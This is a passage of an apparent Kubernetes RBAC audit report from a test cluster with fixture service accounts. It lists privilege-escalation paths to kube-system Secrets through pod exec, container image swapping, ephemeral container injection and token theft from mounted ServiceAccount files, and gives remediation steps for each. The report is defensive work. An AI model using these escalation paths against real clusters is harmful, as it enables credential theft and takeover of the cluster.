    Gives the attacker as the node identity for kubesplaining-e2e-control-plane, can request a token for ServiceAccount foothold-exec/foothold-reader, whose pod is bound there
  3. Step 3 of 3 Secrets read access read_secrets

    get/list/watch on Secrets in kube-system or cluster-wide reads the controller-manager, scheduler, and node-bootstrap tokens: every credential needed to act as the control plane.

    From ServiceAccount/foothold-exec/foothold-reader
    Permission granted get,list secrets
    Gives the attacker can read secrets in kube-system or cluster-wide
Remediation
Eliminate the path by tightening secrets:get in kube-system to a narrow allowlist of system controllers, then break the chain at: remove the permission create certificatesigningrequests + create certificatesigningrequests/nodeclient that enables the first hop (ServiceAccount/nodeid-fixtures/nodeid-joiner → /).
  1. List who can get secrets -n kube-system: kubectl auth can-i get secrets -n kube-system --as=system:serviceaccount:<ns>:<sa> for every workload SA, and kubectl get rolebindings,clusterrolebindings -A -o yaml | grep -B5 secrets to find broad grants.
  2. Move kube-system Secrets that don't need to be live to External Secrets Operator (Vault/SecretsManager) so the in-cluster Secret becomes a generated artifact instead of source-of-truth.
  3. Break the chain at: remove the permission create certificatesigningrequests + create certificatesigningrequests/nodeclient that enables the first hop (ServiceAccount/nodeid-fixtures/nodeid-joiner → /).
  4. For controllers that legitimately need a kube-system Secret read, scope the binding to that exact named Secret using resourceNames, not resources: [secrets].
  5. Wire admission policy: a Kyverno rule that fails any new RoleBinding/ClusterRoleBinding granting secrets verbs without resourceNames to non-system subjects.
HIGH ServiceAccount/foothold-ops/foothold-named-execer Namespace 8.0
ServiceAccount/foothold-ops/foothold-named-execer can read kube-system Secrets in 2 hop(s)
Scope · Namespace Source ServiceAccount/foothold-ops/foothold-named-execer → kube-system Secrets (control-plane namespace). Reads here typically yield credentials usable cluster-wide
Category: Data Exfiltration Subject: ServiceAccount/foothold-ops/foothold-named-execer

Subject ServiceAccount/foothold-ops/foothold-named-execer has a privesc path that terminates in get/list/watch secrets in kube-system. This is not full cluster-admin, but it is the most consequential namespace to read. kube-system Secrets typically contain the credentials that *unlock* cluster-admin: cloud IAM keys (cloud-controller-manager, EBS/PD/Disk CSI), registry pull secrets (system images), addon API keys, and tokens for SAs that are themselves bound to cluster-admin (operator installers, helm-controllers).

The chain (2 hop(s); each step uses an explicit RBAC verb the engine validated):
1. ServiceAccount/foothold-ops/foothold-named-execer → ServiceAccount/foothold-exec/foothold-reader via pod_exec (create pods/exec|pods/attach): can exec into pods running as ServiceAccount foothold-exec/foothold-reader
2. ServiceAccount/foothold-exec/foothold-reader → / via read_secrets (get,list secrets): can read secrets in kube-system or cluster-wide

In production clusters this path is the single most common one in kubesplaining's output. secrets:get is over-granted by Helm chart defaults, by stale view-style roles, and by ConfigMap-reader roles that wildcard resources to include Secrets. The path is short (often 1-2 hops) and exploitation is trivial: the attacker decodes base64 and is in.

Impact Reading kube-system Secrets typically yields cloud-account compromise, registry write (supply-chain implant), and tokens for cluster-admin-adjacent SAs. In practice, this is a one-way ratchet to full cluster control through subsequent privesc paths.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload mounting ServiceAccount/foothold-ops/foothold-named-execer.
  2. Acting as ServiceAccount/foothold-ops/foothold-named-execer, the attacker uses pods/exec (create pods/exec|pods/attach) to open a shell inside ServiceAccount/foothold-exec/foothold-reader and inherit whatever ServiceAccount or host privileges that container holds.
  3. Acting as ServiceAccount/foothold-exec/foothold-reader, the attacker reads ServiceAccount tokens out of the cluster's Secrets store (get,list secrets) and uses one of those tokens (typically a control-plane controller's) to escalate. Read-access on Secrets is the most consequential single verb in Kubernetes RBAC because every other identity's credential lives in a Secret object somewhere.
  4. Final step: the attacker has get secrets -n kube-system. They list every Secret, decode each data value, and pull cloud IAM credentials, registry pull secrets, addon API keys, and SA tokens for cluster-admin-adjacent operators. Each of those is a separate privesc path, often shorter than the one that got them here.
  1. Step 1 of 2 Pod exec → container takeover pod_exec

    The pods/exec subresource opens a shell inside a running container. If the container's pod uses a privileged ServiceAccount, the attacker inherits that SA's reach. If the container is itself privileged or mounts the host, this is also a node-escape primitive.

    From ServiceAccount/foothold-ops/foothold-named-execer → ServiceAccount/foothold-exec/foothold-reader
    Permission granted create pods/exec|pods/attach
    Gives the attacker can exec into pods running as ServiceAccount foothold-exec/foothold-reader
  2. Step 2 of 2 Secrets read access read_secrets

    get/list/watch on Secrets in kube-system or cluster-wide reads the controller-manager, scheduler, and node-bootstrap tokens: every credential needed to act as the control plane.

    From ServiceAccount/foothold-exec/foothold-reader
    Permission granted get,list secrets
    Gives the attacker can read secrets in kube-system or cluster-wide
Remediation
Eliminate the path by tightening secrets:get in kube-system to a narrow allowlist of system controllers, then break the chain at: remove the permission create pods/exec|pods/attach that enables the first hop (ServiceAccount/foothold-ops/foothold-named-execer → ServiceAccount/foothold-exec/foothold-reader).
  1. List who can get secrets -n kube-system: kubectl auth can-i get secrets -n kube-system --as=system:serviceaccount:<ns>:<sa> for every workload SA, and kubectl get rolebindings,clusterrolebindings -A -o yaml | grep -B5 secrets to find broad grants.
  2. Move kube-system Secrets that don't need to be live to External Secrets Operator (Vault/SecretsManager) so the in-cluster Secret becomes a generated artifact instead of source-of-truth.
  3. Break the chain at: remove the permission create pods/exec|pods/attach that enables the first hop (ServiceAccount/foothold-ops/foothold-named-execer → ServiceAccount/foothold-exec/foothold-reader).
  4. For controllers that legitimately need a kube-system Secret read, scope the binding to that exact named Secret using resourceNames, not resources: [secrets].
  5. Wire admission policy: a Kyverno rule that fails any new RoleBinding/ClusterRoleBinding granting secrets verbs without resourceNames to non-system subjects.
HIGH ServiceAccount/imgswap-fixtures/imgswap-patcher Namespace 8.0
ServiceAccount/imgswap-fixtures/imgswap-patcher can read kube-system Secrets in 2 hop(s)
Scope · Namespace Source ServiceAccount/imgswap-fixtures/imgswap-patcher → kube-system Secrets (control-plane namespace). Reads here typically yield credentials usable cluster-wide
Category: Data Exfiltration Subject: ServiceAccount/imgswap-fixtures/imgswap-patcher

Subject ServiceAccount/imgswap-fixtures/imgswap-patcher has a privesc path that terminates in get/list/watch secrets in kube-system. This is not full cluster-admin, but it is the most consequential namespace to read. kube-system Secrets typically contain the credentials that *unlock* cluster-admin: cloud IAM keys (cloud-controller-manager, EBS/PD/Disk CSI), registry pull secrets (system images), addon API keys, and tokens for SAs that are themselves bound to cluster-admin (operator installers, helm-controllers).

The chain (2 hop(s); each step uses an explicit RBAC verb the engine validated):
1. ServiceAccount/imgswap-fixtures/imgswap-patcher → ServiceAccount/imgswap-fixtures/imgswap-reader via pod_image_hijack (get,list,patch pods): can swap the container image of pods running as ServiceAccount imgswap-fixtures/imgswap-reader and run code inside them
2. ServiceAccount/imgswap-fixtures/imgswap-reader → / via read_secrets (get,list secrets): can read secrets in kube-system or cluster-wide

In production clusters this path is the single most common one in kubesplaining's output. secrets:get is over-granted by Helm chart defaults, by stale view-style roles, and by ConfigMap-reader roles that wildcard resources to include Secrets. The path is short (often 1-2 hops) and exploitation is trivial: the attacker decodes base64 and is in.

Impact Reading kube-system Secrets typically yields cloud-account compromise, registry write (supply-chain implant), and tokens for cluster-admin-adjacent SAs. In practice, this is a one-way ratchet to full cluster control through subsequent privesc paths.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload mounting ServiceAccount/imgswap-fixtures/imgswap-patcher.
  2. Acting as ServiceAccount/imgswap-fixtures/imgswap-patcher, the attacker uses update/patch on pods (get,list,patch pods) to change the container image of a pod running as ServiceAccount/imgswap-fixtures/imgswap-reader. The API server's pod update validation keeps container images mutable on a live pod, and no in-tree controller reverts the change: the kubelet restarts the container with the attacker's image inside the same pod sandbox, with the same ServiceAccount token mount, securityContext, host namespaces, and volumes. The result is a shell in that pod without any exec or ephemeral-container verb.
  3. Acting as ServiceAccount/imgswap-fixtures/imgswap-reader, the attacker reads ServiceAccount tokens out of the cluster's Secrets store (get,list secrets) and uses one of those tokens (typically a control-plane controller's) to escalate. Read-access on Secrets is the most consequential single verb in Kubernetes RBAC because every other identity's credential lives in a Secret object somewhere.
  4. Final step: the attacker has get secrets -n kube-system. They list every Secret, decode each data value, and pull cloud IAM credentials, registry pull secrets, addon API keys, and SA tokens for cluster-admin-adjacent operators. Each of those is a separate privesc path, often shorter than the one that got them here.
  1. Step 1 of 2 Pod image swap: code injection into a running pod pod_image_hijack

    The API server keeps a pod's container image fields writable after the pod is running, and nothing in-tree checks who changed them. A subject with plain update or patch on pods can point a running container at an image it controls; the kubelet restarts that container with the new image inside the same pod, so the attacker's code inherits the pod's mounted ServiceAccount token, its securityContext, and any host access it had.

    This is the same position pods/exec or an ephemeral container gives, reached through a write verb that edit-style roles and label-patching operators carry routinely. No workload controller reverts it: ReplicaSets, StatefulSets, and DaemonSets reconcile on labels and template hashes, not on the live image.

    From ServiceAccount/imgswap-fixtures/imgswap-patcher → ServiceAccount/imgswap-fixtures/imgswap-reader
    Permission granted get,list,patch pods
    Gives the attacker can swap the container image of pods running as ServiceAccount imgswap-fixtures/imgswap-reader and run code inside them
  2. Step 2 of 2 Secrets read access read_secrets

    get/list/watch on Secrets in kube-system or cluster-wide reads the controller-manager, scheduler, and node-bootstrap tokens: every credential needed to act as the control plane.

    From ServiceAccount/imgswap-fixtures/imgswap-reader
    Permission granted get,list secrets
    Gives the attacker can read secrets in kube-system or cluster-wide
Remediation
Eliminate the path by tightening secrets:get in kube-system to a narrow allowlist of system controllers, then break the chain at: remove the permission get,list,patch pods that enables the first hop (ServiceAccount/imgswap-fixtures/imgswap-patcher → ServiceAccount/imgswap-fixtures/imgswap-reader).
  1. List who can get secrets -n kube-system: kubectl auth can-i get secrets -n kube-system --as=system:serviceaccount:<ns>:<sa> for every workload SA, and kubectl get rolebindings,clusterrolebindings -A -o yaml | grep -B5 secrets to find broad grants.
  2. Move kube-system Secrets that don't need to be live to External Secrets Operator (Vault/SecretsManager) so the in-cluster Secret becomes a generated artifact instead of source-of-truth.
  3. Break the chain at: remove the permission get,list,patch pods that enables the first hop (ServiceAccount/imgswap-fixtures/imgswap-patcher → ServiceAccount/imgswap-fixtures/imgswap-reader).
  4. For controllers that legitimately need a kube-system Secret read, scope the binding to that exact named Secret using resourceNames, not resources: [secrets].
  5. Wire admission policy: a Kyverno rule that fails any new RoleBinding/ClusterRoleBinding granting secrets verbs without resourceNames to non-system subjects.
HIGH ServiceAccount/privesc-fixtures/sa-ephemeral Namespace 8.0
ServiceAccount/privesc-fixtures/sa-ephemeral can read kube-system Secrets in 2 hop(s)
Scope · Namespace Source ServiceAccount/privesc-fixtures/sa-ephemeral → kube-system Secrets (control-plane namespace). Reads here typically yield credentials usable cluster-wide
Category: Data Exfiltration Subject: ServiceAccount/privesc-fixtures/sa-ephemeral

Subject ServiceAccount/privesc-fixtures/sa-ephemeral has a privesc path that terminates in get/list/watch secrets in kube-system. This is not full cluster-admin, but it is the most consequential namespace to read. kube-system Secrets typically contain the credentials that *unlock* cluster-admin: cloud IAM keys (cloud-controller-manager, EBS/PD/Disk CSI), registry pull secrets (system images), addon API keys, and tokens for SAs that are themselves bound to cluster-admin (operator installers, helm-controllers).

The chain (2 hop(s); each step uses an explicit RBAC verb the engine validated):
1. ServiceAccount/privesc-fixtures/sa-ephemeral → ServiceAccount/foothold-exec/foothold-reader via ephemeral_container_inject (update,patch pods/ephemeralcontainers): can inject an ephemeral container into pods running as ServiceAccount foothold-exec/foothold-reader
2. ServiceAccount/foothold-exec/foothold-reader → / via read_secrets (get,list secrets): can read secrets in kube-system or cluster-wide

In production clusters this path is the single most common one in kubesplaining's output. secrets:get is over-granted by Helm chart defaults, by stale view-style roles, and by ConfigMap-reader roles that wildcard resources to include Secrets. The path is short (often 1-2 hops) and exploitation is trivial: the attacker decodes base64 and is in.

Impact Reading kube-system Secrets typically yields cloud-account compromise, registry write (supply-chain implant), and tokens for cluster-admin-adjacent SAs. In practice, this is a one-way ratchet to full cluster control through subsequent privesc paths.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload mounting ServiceAccount/privesc-fixtures/sa-ephemeral.
  2. Acting as ServiceAccount/privesc-fixtures/sa-ephemeral, the attacker uses the ephemeral_container_inject technique to reach ServiceAccount/foothold-exec/foothold-reader via update,patch pods/ephemeralcontainers, which gains can inject an ephemeral container into pods running as ServiceAccount foothold-exec/foothold-reader.
  3. Acting as ServiceAccount/foothold-exec/foothold-reader, the attacker reads ServiceAccount tokens out of the cluster's Secrets store (get,list secrets) and uses one of those tokens (typically a control-plane controller's) to escalate. Read-access on Secrets is the most consequential single verb in Kubernetes RBAC because every other identity's credential lives in a Secret object somewhere.
  4. Final step: the attacker has get secrets -n kube-system. They list every Secret, decode each data value, and pull cloud IAM credentials, registry pull secrets, addon API keys, and SA tokens for cluster-admin-adjacent operators. Each of those is a separate privesc path, often shorter than the one that got them here.
  1. Step 1 of 2 Ephemeral container injection ephemeral_container_inject

    update/patch on pods/ephemeralcontainers adds an attacker-chosen container to an already-running pod (the mechanism behind kubectl debug). The injected container joins the victim pod's namespaces and can mount its ServiceAccount token, so it is effectively pod creation against an existing victim: the attacker picks the image but inherits the pod's identity and host exposure.

    From ServiceAccount/privesc-fixtures/sa-ephemeral → ServiceAccount/foothold-exec/foothold-reader
    Permission granted update,patch pods/ephemeralcontainers
    Gives the attacker can inject an ephemeral container into pods running as ServiceAccount foothold-exec/foothold-reader
  2. Step 2 of 2 Secrets read access read_secrets

    get/list/watch on Secrets in kube-system or cluster-wide reads the controller-manager, scheduler, and node-bootstrap tokens: every credential needed to act as the control plane.

    From ServiceAccount/foothold-exec/foothold-reader
    Permission granted get,list secrets
    Gives the attacker can read secrets in kube-system or cluster-wide
Remediation
Eliminate the path by tightening secrets:get in kube-system to a narrow allowlist of system controllers, then break the chain at: remove the permission update,patch pods/ephemeralcontainers that enables the first hop (ServiceAccount/privesc-fixtures/sa-ephemeral → ServiceAccount/foothold-exec/foothold-reader).
  1. List who can get secrets -n kube-system: kubectl auth can-i get secrets -n kube-system --as=system:serviceaccount:<ns>:<sa> for every workload SA, and kubectl get rolebindings,clusterrolebindings -A -o yaml | grep -B5 secrets to find broad grants.
  2. Move kube-system Secrets that don't need to be live to External Secrets Operator (Vault/SecretsManager) so the in-cluster Secret becomes a generated artifact instead of source-of-truth.
  3. Break the chain at: remove the permission update,patch pods/ephemeralcontainers that enables the first hop (ServiceAccount/privesc-fixtures/sa-ephemeral → ServiceAccount/foothold-exec/foothold-reader).
  4. For controllers that legitimately need a kube-system Secret read, scope the binding to that exact named Secret using resourceNames, not resources: [secrets].
  5. Wire admission policy: a Kyverno rule that fails any new RoleBinding/ClusterRoleBinding granting secrets verbs without resourceNames to non-system subjects.
HIGH ServiceAccount/privesc-fixtures/sa-pod-create-escape Namespace 8.0
ServiceAccount/privesc-fixtures/sa-pod-create-escape can read kube-system Secrets in 2 hop(s)
Scope · Namespace Source ServiceAccount/privesc-fixtures/sa-pod-create-escape → kube-system Secrets (control-plane namespace). Reads here typically yield credentials usable cluster-wide
Category: Data Exfiltration Subject: ServiceAccount/privesc-fixtures/sa-pod-create-escape

Subject ServiceAccount/privesc-fixtures/sa-pod-create-escape has a privesc path that terminates in get/list/watch secrets in kube-system. This is not full cluster-admin, but it is the most consequential namespace to read. kube-system Secrets typically contain the credentials that *unlock* cluster-admin: cloud IAM keys (cloud-controller-manager, EBS/PD/Disk CSI), registry pull secrets (system images), addon API keys, and tokens for SAs that are themselves bound to cluster-admin (operator installers, helm-controllers).

The chain (2 hop(s); each step uses an explicit RBAC verb the engine validated):
1. ServiceAccount/privesc-fixtures/sa-pod-create-escape → ServiceAccount/privesc-fixtures/sa-secret-mint via pod_create_token_theft (create pods): can create pods that mount ServiceAccount privesc-fixtures/sa-secret-mint
2. ServiceAccount/privesc-fixtures/sa-secret-mint → / via read_secrets (create,get secrets): can read secrets in kube-system or cluster-wide

In production clusters this path is the single most common one in kubesplaining's output. secrets:get is over-granted by Helm chart defaults, by stale view-style roles, and by ConfigMap-reader roles that wildcard resources to include Secrets. The path is short (often 1-2 hops) and exploitation is trivial: the attacker decodes base64 and is in.

Impact Reading kube-system Secrets typically yields cloud-account compromise, registry write (supply-chain implant), and tokens for cluster-admin-adjacent SAs. In practice, this is a one-way ratchet to full cluster control through subsequent privesc paths.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload mounting ServiceAccount/privesc-fixtures/sa-pod-create-escape.
  2. Acting as ServiceAccount/privesc-fixtures/sa-pod-create-escape, the attacker creates a pod that mounts the ServiceAccount/privesc-fixtures/sa-secret-mint ServiceAccount and then reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside the container. The pod becomes a token-theft primitive: any ServiceAccount the attacker can mount, they can lift.
  3. Acting as ServiceAccount/privesc-fixtures/sa-secret-mint, the attacker reads ServiceAccount tokens out of the cluster's Secrets store (create,get secrets) and uses one of those tokens (typically a control-plane controller's) to escalate. Read-access on Secrets is the most consequential single verb in Kubernetes RBAC because every other identity's credential lives in a Secret object somewhere.
  4. Final step: the attacker has get secrets -n kube-system. They list every Secret, decode each data value, and pull cloud IAM credentials, registry pull secrets, addon API keys, and SA tokens for cluster-admin-adjacent operators. Each of those is a separate privesc path, often shorter than the one that got them here.
  1. Step 1 of 2 Pod creation → ServiceAccount token theft pod_create_token_theft

    Anyone who can create pods in a namespace can mount any ServiceAccount in that namespace into the pod. Cluster-scoped pod-create lets you mount any ServiceAccount in any namespace. Once the pod is running, the attacker reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside it, and now holds a token for that SA.

    This is the single most common privilege-escalation pattern in production Kubernetes.

    From ServiceAccount/privesc-fixtures/sa-pod-create-escape → ServiceAccount/privesc-fixtures/sa-secret-mint
    Permission granted create pods
    Gives the attacker can create pods that mount ServiceAccount privesc-fixtures/sa-secret-mint
  2. Step 2 of 2 Secrets read access read_secrets

    get/list/watch on Secrets in kube-system or cluster-wide reads the controller-manager, scheduler, and node-bootstrap tokens: every credential needed to act as the control plane.

    From ServiceAccount/privesc-fixtures/sa-secret-mint
    Permission granted create,get secrets
    Gives the attacker can read secrets in kube-system or cluster-wide
Remediation
Eliminate the path by tightening secrets:get in kube-system to a narrow allowlist of system controllers, then break the chain at: remove the create pods capability that enables hop 1 (ServiceAccount/privesc-fixtures/sa-pod-create-escape → ServiceAccount/privesc-fixtures/sa-secret-mint).
  1. List who can get secrets -n kube-system: kubectl auth can-i get secrets -n kube-system --as=system:serviceaccount:<ns>:<sa> for every workload SA, and kubectl get rolebindings,clusterrolebindings -A -o yaml | grep -B5 secrets to find broad grants.
  2. Move kube-system Secrets that don't need to be live to External Secrets Operator (Vault/SecretsManager) so the in-cluster Secret becomes a generated artifact instead of source-of-truth.
  3. Break the chain at: remove the create pods capability that enables hop 1 (ServiceAccount/privesc-fixtures/sa-pod-create-escape → ServiceAccount/privesc-fixtures/sa-secret-mint).
  4. For controllers that legitimately need a kube-system Secret read, scope the binding to that exact named Secret using resourceNames, not resources: [secrets].
  5. Wire admission policy: a Kyverno rule that fails any new RoleBinding/ClusterRoleBinding granting secrets verbs without resourceNames to non-system subjects.
HIGH ServiceAccount/privesc-fixtures/sa-pod-exec Namespace 8.0
ServiceAccount/privesc-fixtures/sa-pod-exec can read kube-system Secrets in 2 hop(s)
Scope · Namespace Source ServiceAccount/privesc-fixtures/sa-pod-exec → kube-system Secrets (control-plane namespace). Reads here typically yield credentials usable cluster-wide
Category: Data Exfiltration Subject: ServiceAccount/privesc-fixtures/sa-pod-exec

Subject ServiceAccount/privesc-fixtures/sa-pod-exec has a privesc path that terminates in get/list/watch secrets in kube-system. This is not full cluster-admin, but it is the most consequential namespace to read. kube-system Secrets typically contain the credentials that *unlock* cluster-admin: cloud IAM keys (cloud-controller-manager, EBS/PD/Disk CSI), registry pull secrets (system images), addon API keys, and tokens for SAs that are themselves bound to cluster-admin (operator installers, helm-controllers).

The chain (2 hop(s); each step uses an explicit RBAC verb the engine validated):
1. ServiceAccount/privesc-fixtures/sa-pod-exec → ServiceAccount/foothold-exec/foothold-reader via pod_exec (create,get pods/exec|pods/attach): can exec into pods running as ServiceAccount foothold-exec/foothold-reader
2. ServiceAccount/foothold-exec/foothold-reader → / via read_secrets (get,list secrets): can read secrets in kube-system or cluster-wide

In production clusters this path is the single most common one in kubesplaining's output. secrets:get is over-granted by Helm chart defaults, by stale view-style roles, and by ConfigMap-reader roles that wildcard resources to include Secrets. The path is short (often 1-2 hops) and exploitation is trivial: the attacker decodes base64 and is in.

Impact Reading kube-system Secrets typically yields cloud-account compromise, registry write (supply-chain implant), and tokens for cluster-admin-adjacent SAs. In practice, this is a one-way ratchet to full cluster control through subsequent privesc paths.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload mounting ServiceAccount/privesc-fixtures/sa-pod-exec.
  2. Acting as ServiceAccount/privesc-fixtures/sa-pod-exec, the attacker uses pods/exec (create,get pods/exec|pods/attach) to open a shell inside ServiceAccount/foothold-exec/foothold-reader and inherit whatever ServiceAccount or host privileges that container holds.
  3. Acting as ServiceAccount/foothold-exec/foothold-reader, the attacker reads ServiceAccount tokens out of the cluster's Secrets store (get,list secrets) and uses one of those tokens (typically a control-plane controller's) to escalate. Read-access on Secrets is the most consequential single verb in Kubernetes RBAC because every other identity's credential lives in a Secret object somewhere.
  4. Final step: the attacker has get secrets -n kube-system. They list every Secret, decode each data value, and pull cloud IAM credentials, registry pull secrets, addon API keys, and SA tokens for cluster-admin-adjacent operators. Each of those is a separate privesc path, often shorter than the one that got them here.
  1. Step 1 of 2 Pod exec → container takeover pod_exec

    The pods/exec subresource opens a shell inside a running container. If the container's pod uses a privileged ServiceAccount, the attacker inherits that SA's reach. If the container is itself privileged or mounts the host, this is also a node-escape primitive.

    From ServiceAccount/privesc-fixtures/sa-pod-exec → ServiceAccount/foothold-exec/foothold-reader
    Permission granted create,get pods/exec|pods/attach
    Gives the attacker can exec into pods running as ServiceAccount foothold-exec/foothold-reader
  2. Step 2 of 2 Secrets read access read_secrets

    get/list/watch on Secrets in kube-system or cluster-wide reads the controller-manager, scheduler, and node-bootstrap tokens: every credential needed to act as the control plane.

    From ServiceAccount/foothold-exec/foothold-reader
    Permission granted get,list secrets
    Gives the attacker can read secrets in kube-system or cluster-wide
Remediation
Eliminate the path by tightening secrets:get in kube-system to a narrow allowlist of system controllers, then break the chain at: remove the permission create,get pods/exec|pods/attach that enables the first hop (ServiceAccount/privesc-fixtures/sa-pod-exec → ServiceAccount/foothold-exec/foothold-reader).
  1. List who can get secrets -n kube-system: kubectl auth can-i get secrets -n kube-system --as=system:serviceaccount:<ns>:<sa> for every workload SA, and kubectl get rolebindings,clusterrolebindings -A -o yaml | grep -B5 secrets to find broad grants.
  2. Move kube-system Secrets that don't need to be live to External Secrets Operator (Vault/SecretsManager) so the in-cluster Secret becomes a generated artifact instead of source-of-truth.
  3. Break the chain at: remove the permission create,get pods/exec|pods/attach that enables the first hop (ServiceAccount/privesc-fixtures/sa-pod-exec → ServiceAccount/foothold-exec/foothold-reader).
  4. For controllers that legitimately need a kube-system Secret read, scope the binding to that exact named Secret using resourceNames, not resources: [secrets].
  5. Wire admission policy: a Kyverno rule that fails any new RoleBinding/ClusterRoleBinding granting secrets verbs without resourceNames to non-system subjects.
HIGH ServiceAccount/rbac-fixtures/sa-pod-create Namespace 8.0
ServiceAccount/rbac-fixtures/sa-pod-create can read kube-system Secrets in 2 hop(s)
Scope · Namespace Source ServiceAccount/rbac-fixtures/sa-pod-create → kube-system Secrets (control-plane namespace). Reads here typically yield credentials usable cluster-wide
Category: Data Exfiltration Subject: ServiceAccount/rbac-fixtures/sa-pod-create

Subject ServiceAccount/rbac-fixtures/sa-pod-create has a privesc path that terminates in get/list/watch secrets in kube-system. This is not full cluster-admin, but it is the most consequential namespace to read. kube-system Secrets typically contain the credentials that *unlock* cluster-admin: cloud IAM keys (cloud-controller-manager, EBS/PD/Disk CSI), registry pull secrets (system images), addon API keys, and tokens for SAs that are themselves bound to cluster-admin (operator installers, helm-controllers).

The chain (2 hop(s); each step uses an explicit RBAC verb the engine validated):
1. ServiceAccount/rbac-fixtures/sa-pod-create → ServiceAccount/foothold-exec/foothold-reader via pod_create_token_theft (create pods): can create pods that mount ServiceAccount foothold-exec/foothold-reader
2. ServiceAccount/foothold-exec/foothold-reader → / via read_secrets (get,list secrets): can read secrets in kube-system or cluster-wide

In production clusters this path is the single most common one in kubesplaining's output. secrets:get is over-granted by Helm chart defaults, by stale view-style roles, and by ConfigMap-reader roles that wildcard resources to include Secrets. The path is short (often 1-2 hops) and exploitation is trivial: the attacker decodes base64 and is in.

Impact Reading kube-system Secrets typically yields cloud-account compromise, registry write (supply-chain implant), and tokens for cluster-admin-adjacent SAs. In practice, this is a one-way ratchet to full cluster control through subsequent privesc paths.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload mounting ServiceAccount/rbac-fixtures/sa-pod-create.
  2. Acting as ServiceAccount/rbac-fixtures/sa-pod-create, the attacker creates a pod that mounts the ServiceAccount/foothold-exec/foothold-reader ServiceAccount and then reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside the container. The pod becomes a token-theft primitive: any ServiceAccount the attacker can mount, they can lift.
  3. Acting as ServiceAccount/foothold-exec/foothold-reader, the attacker reads ServiceAccount tokens out of the cluster's Secrets store (get,list secrets) and uses one of those tokens (typically a control-plane controller's) to escalate. Read-access on Secrets is the most consequential single verb in Kubernetes RBAC because every other identity's credential lives in a Secret object somewhere.
  4. Final step: the attacker has get secrets -n kube-system. They list every Secret, decode each data value, and pull cloud IAM credentials, registry pull secrets, addon API keys, and SA tokens for cluster-admin-adjacent operators. Each of those is a separate privesc path, often shorter than the one that got them here.
  1. Step 1 of 2 Pod creation → ServiceAccount token theft pod_create_token_theft

    Anyone who can create pods in a namespace can mount any ServiceAccount in that namespace into the pod. Cluster-scoped pod-create lets you mount any ServiceAccount in any namespace. Once the pod is running, the attacker reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside it, and now holds a token for that SA.

    This is the single most common privilege-escalation pattern in production Kubernetes.

    From ServiceAccount/rbac-fixtures/sa-pod-create → ServiceAccount/foothold-exec/foothold-reader
    Permission granted create pods
    Gives the attacker can create pods that mount ServiceAccount foothold-exec/foothold-reader
  2. Step 2 of 2 Secrets read access read_secrets

    get/list/watch on Secrets in kube-system or cluster-wide reads the controller-manager, scheduler, and node-bootstrap tokens: every credential needed to act as the control plane.

    From ServiceAccount/foothold-exec/foothold-reader
    Permission granted get,list secrets
    Gives the attacker can read secrets in kube-system or cluster-wide
Remediation
Eliminate the path by tightening secrets:get in kube-system to a narrow allowlist of system controllers, then break the chain at: remove the create pods capability that enables hop 1 (ServiceAccount/rbac-fixtures/sa-pod-create → ServiceAccount/foothold-exec/foothold-reader).
  1. List who can get secrets -n kube-system: kubectl auth can-i get secrets -n kube-system --as=system:serviceaccount:<ns>:<sa> for every workload SA, and kubectl get rolebindings,clusterrolebindings -A -o yaml | grep -B5 secrets to find broad grants.
  2. Move kube-system Secrets that don't need to be live to External Secrets Operator (Vault/SecretsManager) so the in-cluster Secret becomes a generated artifact instead of source-of-truth.
  3. Break the chain at: remove the create pods capability that enables hop 1 (ServiceAccount/rbac-fixtures/sa-pod-create → ServiceAccount/foothold-exec/foothold-reader).
  4. For controllers that legitimately need a kube-system Secret read, scope the binding to that exact named Secret using resourceNames, not resources: [secrets].
